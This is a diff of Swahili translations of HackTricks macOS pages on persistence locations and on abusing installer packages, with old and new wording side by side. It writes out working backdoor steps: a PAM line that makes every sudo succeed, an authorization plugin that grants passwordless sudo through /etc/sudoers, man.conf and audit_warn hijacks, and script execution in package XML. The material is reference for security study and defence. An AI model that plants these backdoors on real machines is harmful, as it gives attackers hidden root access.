* Lakini unahitaji kuwa na ruhusa ya msingi
* Kukiuka TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Mahali
* Mizizi (root) inahitajika daima
* Mara zote inahitajika kuwa na ruhusa ya msingi
#### Maelezo na Udukuzi
#### Maelezo & Utekaji
Kwa kuwa PAM inazingatia zaidi **udumu** na zisizo za virusi ndani ya macOS, blogi hii haitatoa maelezo ya kina, **soma maelezo kuelewa mbinu hii vizuri**.
Kwa kuwa PAM inazingatia zaidi **upenyezaji** na zisizo kuliko utekelezaji rahisi ndani ya macOS, blogi hii haitatoa maelezo ya kina, **soma maelezo ili kuelewa mbinu hii vizuri**.
Angalia moduli za PAM kwa:
Angalia moduli za PAM na:
```bash
ls -l /etc/pam.d
```
### Kitega cha Kudumu/Udakaishaji wa Mamlaka kwa kutumia PAM ni rahisi kama kubadilisha moduli /etc/pam.d/sudo kwa kuongeza kwenye mwanzo mstari:
### Kitega cha kudumu/kuongeza mamlaka kwa kutumia PAM ni rahisi kama kubadilisha moduli /etc/pam.d/sudo kwa kuongeza kwenye mwanzo mstari:
```bash
auth sufficient pam_permit.so
```
@ -1307,7 +1313,7 @@ session required pam_permit.so
Na kwa hivyo jaribio lolote la kutumia **`sudo` litafanya kazi**.
{% hint style="danger" %}
Tafadhali elewa kuwa saraka hii inalindwa na TCC hivyo ni uwezekano mkubwa kwamba mtumiaji atapata ombi la kupata ruhusa.
Tafadhali elewa kuwa saraka hii inalindwa na TCC hivyo ni uwezekano mkubwa kwamba mtumiaji atapata ombi la kupewa ruhusa.
{% endhint %}
### Vifaa vya Uthibitisho
@ -1316,13 +1322,13 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
Maelezo: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* Inatumika kukiuka sanduku la mchanga: [🟠](https://emojipedia.org/large-orange-circle)
* Lakini unahitaji kuwa na ruhusa ya msingi na kufanya mipangilio ya ziada
* Lakini unahitaji kuwa na mizizi na kufanya mipangilio ya ziada
* Kukiuka TCC: ???
#### Mahali
* `/Library/Security/SecurityAgentPlugins/`
* Inahitaji ruhusa ya msingi
* Inahitaji mizizi
* Pia ni muhimu kusanidi hifadhidata ya uthibitisho kutumia programu-jalizi
#### Maelezo & Utekaji
@ -1342,7 +1348,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
```
**Hamisha** kifurushi hadi eneo litakalopakiwa:
**Hamisha** kifurushi kwenye eneo litakalopakiwa:
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
@ -1375,11 +1381,11 @@ Na kisha **kikundi cha wafanyakazi kinapaswa kuwa na upatikanaji wa sudo** (soma
### Man.conf
Andika: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
* Inatumika kwa kuzidi sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Lakini unahitaji kuwa na ruhusa ya mizizi na mtumiaji lazima atumie man
* Kuzidi TCC: [🔴](https://emojipedia.org/large-red-circle)
* Kizuizi cha TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Mahali
@ -1389,7 +1395,7 @@ Andika: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.g
#### Maelezo & Utekaji
Faili ya usanidi **`/private/etc/man.conf`** inaonyesha binary/script ya kutumia wakati wa kufungua faili za nyaraka za man. Kwa hivyo njia ya kutekelezeka inaweza kubadilishwa ili wakati wowote mtumiaji anatumia man kusoma nyaraka fulani, mlango wa nyuma unatekelezwa.
Faili ya usanidi **`/private/etc/man.conf`** inaonyesha binary/script ya kutumia wakati wa kufungua faili za nyaraka za man. Kwa hivyo njia ya kutekelezeka inaweza kubadilishwa ili wakati wowote mtumiaji anatumia man kusoma baadhi ya nyaraka, mlango wa nyuma unatekelezwa.
Kwa mfano weka katika **`/private/etc/man.conf`**:
```
@ -1428,7 +1434,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
Hivi ndivyo moduled zako zilivyopakiwa na Apache. Kitu pekee ni kwamba unahitaji **kuisaini na cheti halali cha Apple**, au unahitaji **kuongeza cheti kipya cha kuaminika** kwenye mfumo na **kuisaini** nacho.
Hivi ndivyo moduli zako zilivyopakiwa na Apache. Kitu pekee ni kwamba unahitaji **kuisaini na cheti halali cha Apple**, au unahitaji **kuongeza cheti kipya cha kuaminika** kwenye mfumo na **kuisaini** nacho.
Kisha, ikihitajika, ili kuhakikisha kuwa server itaanza unaweza kutekeleza:
```bash
@ -1446,7 +1452,7 @@ printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
```
### Kitengo cha ukaguzi wa BSM
### Kitengo cha ukaguzi wa mfumo wa BSM
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
@ -1466,20 +1472,23 @@ Kila wakati auditd inagundua onyo, hati **`/etc/security/audit_warn`** ina **kut
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
Unaweza kulazimisha onyo na `sudo audit -n`.
Unaweza kulazimisha onyo kwa kutumia `sudo audit -n`.
### Vipengele vya Kuanza
{% hint style="danger" %}
**Hii imepitwa na wakati, kwa hivyo hakuna kitu kinapaswa kupatikana katika saraka hizo.**
**Hii imepitwa na wakati, hivyo hakuna kitu kinapaswa kupatikana katika folda hizo.**
{% endhint %}
**StartupItem** ni saraka ambayo inapaswa kuwekwa ndani ya `/Library/StartupItems/` au `/System/Library/StartupItems/`. Mara tu saraka hii inapoanzishwa, lazima ijumuishe faili mbili maalum:
**StartupItem** ni folda ambayo inapaswa kuwekwa ndani ya `/Library/StartupItems/` au `/System/Library/StartupItems/`. Mara baada ya folda hii kuwekwa, lazima iwe na faili mbili maalum:
1. **rc script**: Script ya shell inayotekelezwa wakati wa kuanza.
2. Faili ya **plist**, iitwayo `StartupParameters.plist`, ambayo ina mipangilio mbalimbali ya usanidi.
Hakikisha kuwa script ya rc na faili ya `StartupParameters.plist` zimewekwa kwa usahihi ndani ya saraka ya **StartupItem** ili mchakato wa kuanza uweze kuzitambua na kuzitumia.
Hakikisha kwamba script ya rc na faili ya `StartupParameters.plist` zimewekwa kwa usahihi ndani ya folda ya **StartupItem** ili mchakato wa kuanza uweze kuzitambua na kuzitumia.
{% tabs %}
{% tab title="StartupParameters.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -1525,9 +1534,9 @@ Sijaweza kupata sehemu hii kwenye macOS yangu, kwa maelezo zaidi angalia andiko
Andiko: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
Kuletwa na Apple, **emond** ni mfumo wa kuingiza taarifa ambao unaonekana kutokuwa umekamilika au labda umeachwa, lakini bado unapatikana. Ingawa sio muhimu sana kwa msimamizi wa Mac, huduma hii isiyoeleweka inaweza kutumika kama njia ya kudumu kwa wahalifu wa mtandao, labda bila kugunduliwa na wengi wa wasimamizi wa macOS.
Kuletwa na Apple, **emond** ni mfumo wa kuingiza taarifa ambao unaonekana kuwa haujakamilika au labda umeachwa, lakini bado unapatikana. Ingawa sio muhimu sana kwa msimamizi wa Mac, huduma hii isiyoeleweka inaweza kutumika kama njia ya kudumu kwa wahalifu wa mtandao, labda bila kugunduliwa na wengi wa wasimamizi wa macOS.
Kwa wale wanaofahamu uwepo wake, kutambua matumizi mabaya ya **emond** ni rahisi. LaunchDaemon ya mfumo kwa huduma hii inatafuta hati za kutekelezwa katika saraka moja. Ili kuangalia hili, unaweza kutumia amri ifuatayo:
Kwa wale wanaofahamu uwepo wake, kutambua matumizi mabaya yoyote ya **emond** ni rahisi. LaunchDaemon ya mfumo kwa huduma hii inatafuta hati za kutekelezwa katika saraka moja. Ili kuangalia hili, amri ifuatayo inaweza kutumika:
```bash
ls -l /private/var/db/emondClients
```
@ -1543,24 +1552,24 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
#### Maelezo & Kudukuliwa
XQuartz **haipo tena imewekwa kwenye macOS**, kwa hivyo ikiwa unataka maelezo zaidi angalia maelezo.
XQuartz **haipo tena imewekwa kwenye macOS**, hivyo ikiwa unataka maelezo zaidi angalia maelezo.
### ~~kext~~
{% hint style="danger" %}
Ni ngumu sana kufunga kext hata kama ni mizizi, kwa hivyo sitachukulia hii kama njia ya kutoroka kutoka kwenye mchanga au hata kwa uthabiti (isipokuwa una shambulio)
Ni ngumu sana kufunga kext hata kama mizizi hivyo sitazingatia hii kutoroka kutoka kwa mchanga au hata kwa uthabiti (isipokuwa una shambulio)
{% endhint %}
#### Mahali
Ili kufunga KEXT kama kipengee cha kuanza, inahitaji kuwekwa **katika moja ya maeneo yafuatayo**:
Ili kufunga KEXT kama kipengee cha kuanza, inahitaji **kufungwa kwenye mojawapo ya maeneo yafuatayo**:
* `/System/Library/Extensions`
* Faili za KEXT zilizojengwa kwenye mfumo wa uendeshaji wa OS X.
* `/Library/Extensions`
* Faili za KEXT zilizowekwa na programu ya tatu
* Faili za KEXT zilizofungwa na programu ya tatu
Unaweza kupata orodha ya faili za kext zilizopakiwa kwa sasa kwa:
Unaweza kupata orodha ya sasa ya faili za kext zilizopakiwa kwa:
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
@ -1568,7 +1577,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
Kwa habari zaidi kuhusu [**extensions za kernel angalia sehemu hii**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
Kwa maelezo zaidi kuhusu [**vifaa vya msingi vya kernel angalia sehemu hii**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
### ~~amstoold~~
@ -1581,7 +1590,7 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.
#### Maelezo & Utekaji
Inaonekana kwamba `plist` kutoka `/System/Library/LaunchAgents/com.apple.amstoold.plist` ilikuwa inatumia binary hii huku ikifunua huduma ya XPC... swala ni kwamba binary haikuwepo, hivyo ungeweza kuweka kitu hapo na wakati huduma ya XPC inaitwa binary yako itaitwa.
Inaonekana kwamba `plist` kutoka `/System/Library/LaunchAgents/com.apple.amstoold.plist` ilikuwa ikitumia binary hii wakati inafichua huduma ya XPC... swala ni kwamba binary haikuwepo, hivyo ungeweza kuweka kitu hapo na wakati huduma ya XPC inaitwa binary yako itaitwa.
Sikuweza tena kupata hii kwenye macOS yangu.
@ -1595,17 +1604,17 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
* Inahitaji ruhusa ya Root
* **Kichocheo**: Wakati huduma inapoendeshwa (kwa nadra)
#### Maelezo & Utekaji
#### Maelezo & utekaji
Inaonekana sio kawaida sana kuendesha skripti hii na hata sikuiweza kwenye macOS yangu, hivyo kama unataka maelezo zaidi angalia maelezo hayo.
Inaonekana sio kawaida sana kuendesha script hii na sikuweza hata kuipata kwenye macOS yangu, hivyo kama unataka maelezo zaidi angalia maelezo.
### ~~/etc/rc.common~~
{% hint style="danger" %}
**Hii haifanyi kazi kwenye toleo za kisasa za MacOS**
**Hii haifanyi kazi katika toleo za kisasa za MacOS**
{% endhint %}
Pia niwezekano kuweka hapa **maagizo ambayo yataendeshwa wakati wa kuanza.** Mfano wa skripti ya kawaida ya rc.common:
Pia niwezekano wa kuweka hapa **maagizo ambayo yataendeshwa wakati wa kuanza.** Mfano wa script ya kawaida ya rc.common:
```bash
#
# Common setup for startup scripts.
@ -1705,7 +1714,7 @@ esac
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
@ -1713,6 +1722,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,36 +1,34 @@
# Uvunjaji wa Matumizi ya Wafungaji wa macOS
# Matumizi Mabaya ya Wasakinishaji wa macOS
<details>
<summary><strong>Jifunze kuhusu uvunjaji wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuvunja kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) **na** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repos za github.**
</details>
## Habari Msingi za Pkg
## Taarifa Msingi za Pkg
Kifurushi cha **ufungaji wa macOS** (pia hujulikana kama faili ya `.pkg`) ni muundo wa faili unaotumiwa na macOS kusambaza programu. Faili hizi ni kama **sanduku linaloambatanisha kila kitu ambacho kipande cha programu** inahitaji ili kusakinisha na kukimbia kwa usahihi.
Pakiti ya wasakinishaji wa macOS (inayojulikana pia kama faili ya `.pkg`) ni muundo wa faili unaotumiwa na macOS kusambaza programu. Faili hizi ni kama **sanduku linaloleta kila kitu ambacho programu** inahitaji kusakinisha na kukimbia kwa usahihi.
Faili ya kifurushi yenyewe ni kiunzi kinachoshikilia **muundo wa faili na saraka ambazo zitasakinishwa kwenye kompyuta ya lengo**. Inaweza pia kuwa na **hati** za kutekeleza kazi kabla na baada ya usakinishaji, kama vile kuweka faili za usanidi au kusafisha toleo la zamani la programu.
Faili ya pakiti yenyewe ni nyaraka inayoshikilia **hiraki ya faili na saraka ambazo zitasakinishwa kwenye** kompyuta ya lengo. Inaweza pia kujumuisha **maandishi** kutekeleza kazi kabla na baada ya usakinishaji, kama vile kuweka faili za usanidi au kusafisha toleo za zamani za programu.
### Muundo
### Hiraki
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
* **Usambazaji (xml)**: Kubinafsisha (kichwa, maandishi ya karibu...) na ukaguzi wa hati/usakinishaji
* **PackageInfo (xml)**: Habari, mahitaji ya usakinishaji, mahali pa usakinishaji, njia za hati za kukimbia
* **Bili ya vifaa (bom)**: Orodha ya faili za kusakinisha, kusasisha au kuondoa na ruhusa za faili
* **Payload (CPIO kiunzi kilichopunguzwa kwa gzip)**: Faili za kusakinisha kwenye `mahali-pakua` kutoka kwa PackageInfo
* **Hati (CPIO kiunzi kilichopunguzwa kwa gzip)**: Hati za kabla na baada ya usakinishaji na rasilimali zaidi zilizopatikana kwenye saraka ya muda kwa ajili ya utekelezaji.
### Kupunguza kiunzi
* **Usambazaji (xml)**: Kubinafsisha (jina, maandishi ya kukaribisha...) na maandishi/vipimo vya usakinishaji
* **PackageInfo (xml)**: Taarifa, mahitaji ya usakinishaji, mahali pa usakinishaji, njia za maandishi za kukimbia
* **Bili ya vifaa (bom)**: Orodha ya faili za kusakinisha, kuboresha au kuondoa na ruhusa za faili
* **Mzigo (CPIO archive gzip compresses)**: Faili za kusakinisha kwenye `mahali-pa-usakinishaji` kutoka PackageInfo
* **Maandishi (CPIO archive gzip compressed)**: Maandishi kabla na baada ya usakinishaji na rasilimali zaidi zilizochimbuliwa kwenye saraka ya muda kwa utekelezaji.
```bash
# Tool to directly get the files inside a package
pkgutil —expand "/path/to/package.pkg" "/path/to/out/dir"
@ -44,71 +42,56 @@ xar -xf "/path/to/package.pkg"
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts
```
## Taarifa Msingi kuhusu DMG
Kwa kuchora maudhui ya mpangilio bila kuidondoa kwa mkono unaweza kutumia zana ya bure [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
Faili za DMG, au Picha za Diski za Apple, ni muundo wa faili unaotumiwa na macOS ya Apple kwa picha za diski. Faili ya DMG ni kimsingi **picha ya diski inayoweza kufungwa** (ina mfumo wa faili yake) ambayo ina data ya kibodi iliyopakwa kawaida na wakati mwingine imefichwa. Unapofungua faili ya DMG, macOS **inafunga kama vile ni diski halisi**, kuruhusu ufikiaji wa maudhui yake.
## Taarifa Msingi za DMG
### Mfumo wa Hierarchy
Faili za DMG, au Picha za Apple Disk, ni muundo wa faili unaotumiwa na macOS ya Apple kwa picha za diski. Faili ya DMG ni **picha ya diski inayoweza kufungwa** (ina filesystem yake) ambayo ina data ya block ya ghafi mara nyingi imepakwa na wakati mwingine imefichwa. Unapofungua faili ya DMG, macOS **inaifunga kama vile ingekuwa diski halisi**, kuruhusu kupata maudhui yake.
### Hierarchy
<figure><img src="../../../.gitbook/assets/image (12) (2).png" alt=""><figcaption></figcaption></figure>
Mfumo wa hierarchy wa faili ya DMG unaweza kuwa tofauti kulingana na maudhui. Walakini, kwa DMG za programu, kawaida inafuata muundo huu:
Mfumo wa faili ya DMG unaweza kutofautiana kulingana na maudhui. Hata hivyo, kwa DMGs za programu, kawaida inafuata muundo huu:
* Kiwango cha Juu: Hii ni mzizi wa picha ya diski. Mara nyingi ina programu na labda kiunga kwa folda ya Maombi.
* Programu (.app): Hii ni programu halisi. Katika macOS, programu kawaida ni mfuko ambao una faili na folda nyingi ambazo hufanya programu hiyo.
* Kiunga cha Maombi: Hii ni njia ya mkato kwa folda ya Maombi katika macOS. Lengo la hii ni kufanya iwe rahisi kwako kufunga programu. Unaweza kuvuta faili ya .app kwenye njia hii ya mkato ili kufunga programu.
* Kiwango cha Juu: Hii ni mzizi wa picha ya diski. Mara nyingi ina programu na labda kiungo kwa folda za Maombi.
* Maombi (.app): Hii ni programu halisi. Katika macOS, programu ni kawaida pakiti inayojumuisha faili na folda nyingi zinazounda programu.
## Privesc kupitia utumiaji mbaya wa pkg
## Privesc kupitia unyanyasaji wa pkg
### Utekelezaji kutoka kwenye folda za umma
Ikiwa hati ya ufungaji kabla au baada ya ufungaji inatekelezwa, kwa mfano, kutoka kwenye **`/var/tmp/Installerutil`**, na mshambuliaji anaweza kudhibiti hati hiyo ili apate mamlaka ya juu wakati inatekelezwa. Au mfano mwingine kama huo:
Ikiwa script ya kufunga kabla au baada ya kufunga kwa mfano inatekelezwa kutoka **`/var/tmp/Installerutil`**, na mshambuliaji anaweza kudhibiti script hiyo ili apate mamlaka ya ziada kila wakati inatekelezwa. Au mfano mwingine sawa:
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
### AuthorizationExecuteWithPrivileges
Hii ni [kazi ya umma](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) ambayo wakala na wakurugenzi wengi watatumia kutekeleza kitu kama mizizi. Kazi hii inakubali **njia** ya **faili** ya **utekelezaji** kama parameter, hata hivyo, ikiwa mshambuliaji anaweza **kubadilisha** faili hii, ataweza **kutumia vibaya** utekelezaji wake na mizizi ili kupata mamlaka ya juu.
Hii ni [kazi ya umma](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) ambayo wakufunzi na wakusasisha kadhaa watatumia kuita **kutekeleza kitu kama mizizi**. Kazi hii inakubali **njia** ya **faili** ya **kutekeleza** kama parameter, hata hivyo, ikiwa mshambuliaji anaweza **kurekebisha** faili hii, ataweza **kunyanyasa** utekelezaji wake na mizizi ili **kupata mamlaka ya ziada**.
```bash
# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig
```
Kwa habari zaidi angalia mazungumzo haya: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
### Utekelezaji kwa kufunga
Ikiwa mtunzi wa programu anaandika kwenye `/tmp/fixedname/bla/bla`, ni **inawezekana kuunda kifungu** juu ya `/tmp/fixedname` bila mmiliki ili uweze **kubadilisha faili yoyote wakati wa usakinishaji** ili kutumia mchakato wa usakinishaji.
Ikiwa mtengenezaji anaandika kwa `/tmp/fixedname/bla/bla`, inawezekana **kuunda mlima** juu ya `/tmp/fixedname` bila wamiliki ili uweze **kurekebisha faili yoyote wakati wa usakinishaji** kwa lengo la kutumia mchakato wa usakinishaji.
Mfano wa hii ni **CVE-2021-26089** ambayo ilifanikiwa **kubadilisha skripti ya kawaida** ili kupata utekelezaji kama mtumiaji mkuu. Kwa habari zaidi angalia mazungumzo haya: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
Mfano wa hii ni **CVE-2021-26089** ambayo ilifanikiwa **kubadilisha skripti ya kipindi** ili kupata utekelezaji kama mtumiaji wa mizizi. Kwa maelezo zaidi angalia mazungumzo: [**OBTS v4.0: "Mlima wa Mende" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
## pkg kama programu hasidi
## pkg kama zisizo
### Malipo tupu
### Mzigo wa Kufuta
Inawezekana tu kuunda faili ya **`.pkg`** na **skripti za kabla na baada ya usakinishaji** bila malipo yoyote.
Inawezekana tu kuzalisha faili ya **`.pkg`** na **skripti za kabla na baada ya usakinishaji** bila mzigo wowote.
### JS katika xml ya Usambazaji
### JS katika Usambazaji wa xml
Inawezekana kuongeza vitambulisho vya **`<script>`** katika faili ya xml ya **usambazaji** ya kifurushi na namna hiyo itatekelezwa na inaweza **kutekeleza amri** kwa kutumia **`system.run`**:
Inawezekana kuongeza vitambulisho vya **`<script>`** katika faili ya **usambazaji wa xml** ya pakiti na msimbo huo utatekelezwa na unaweza **kutekeleza amri** kutumia **`system.run`**:
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
## Marejeo
* [**DEF CON 27 - Unpacking Pkgs A Look Inside Macos Installer Packages And Common Security Flaws**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "The Wild World of macOS Installers" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
* [**DEF CON 27 - Kufungua Pkgs Tazama Ndani ya Pakiti za Usakinishaji wa Macos na Uvimbe wa Usalama wa Kawaida**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "Dunia ya Kufunga ya macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)

View file

@ -2,25 +2,25 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Uvunjaji wa Mchakato wa MacOS
MacOS, kama mfumo wa uendeshaji mwingine wowote, hutoa njia na mbinu mbalimbali za **mchakato kuingiliana, kuwasiliana, na kushiriki data**. Ingawa mbinu hizi ni muhimu kwa utendaji mzuri wa mfumo, pia zinaweza kutumiwa vibaya na wahalifu wa mtandao kufanya shughuli za uovu.
